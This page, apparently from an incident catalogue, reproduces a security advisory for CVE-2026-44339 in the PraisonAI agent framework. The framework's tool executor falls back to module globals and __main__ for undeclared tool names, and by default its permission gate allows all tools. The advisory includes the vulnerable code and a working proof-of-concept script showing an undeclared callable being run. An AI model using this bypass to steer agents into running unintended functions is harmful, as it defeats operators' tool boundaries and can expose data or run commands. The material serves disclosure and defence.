INCIDENT MAP

Browse / Tool and Agent Misuse / CVE-2026-44339

PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute

CVE-2026-44339 ยท 2026-05-11 high

Class
Tool and Agent Misuse (filed by a model that read the advisory)
Technique
Code and command execution
Also involves
Indirect Prompt Injection
Affected
praisonai, praisonaiagents (PyPI)
Gets past
Authorisation check
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
EPSS
0.4% chance of exploitation in 30 days

How it works, in short

When a tool name is undeclared, the agent falls back to module globals and __main__ and runs any matching callable, which the permission gate does not stop. (Our summary, written by a model. The source text is below.)

Details

Summary

praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details

The vulnerable resolution path is in [tool_execution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then __main__:

func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
    ...

if func is None:
    try:
        from ..tools.registry import get_registry
        registry = get_registry()
        func = registry.get(function_name)
    except ImportError:
        pass

if func is None:
    func = globals().get(function_name)
    if not func:
        import __main__
        func = getattr(__main__, function_name, None)

If a callable is found, it is executed directly:

elif callable(func):
    casted_arguments = self._cast_arguments(func, arguments)
    return func(**casted_arguments)

The permission gate does not enforce a declared-tool allowlist by default. In [tool_execution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if _perm_allow is non-None:

if self._perm_deny and function_name in self._perm_deny:
    return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
    return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}

Default agent initialization sets _perm_allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

self._perm_deny = frozenset()  # Permission tier deny set (empty = no denials)
self._perm_allow = None        # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in __main__, giving the agent an empty tools list, and invoking execute_tool() with that undeclared name. The tool executor ran the __main__ function anyway.

PoC

Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3

Steps
1. From the repository root, run:

python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin

def sneaky(msg='ok'):
    return {'ran': msg}

class HookRunner:
    def execute_sync(self, *args, **kwargs):
        return []
    def is_blocked(self, results):
        return False

class Dummy(ToolExecutionMixin):
    def __init__(self):
        self.name = 'demo'
        self.tools = []
        self.chat_history = []
        self._hook_runner = HookRunner()
        self.context_manager = None
        self._doom_loop_tracker = None
        self._perm_deny = frozenset()
        self._perm_allow = None
        self._approval_backend = None

mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()

with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
    agent = Dummy()
    print(agent.execute_tool('sneaky', {'msg': 'hello'}))
    print(mock_registry.approve_sync.call_args)
PY

Expected output

{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in __main__.

Impact

- Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and __main__. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

References

Source: GitHub Advisory Database, used under CC BY 4.0.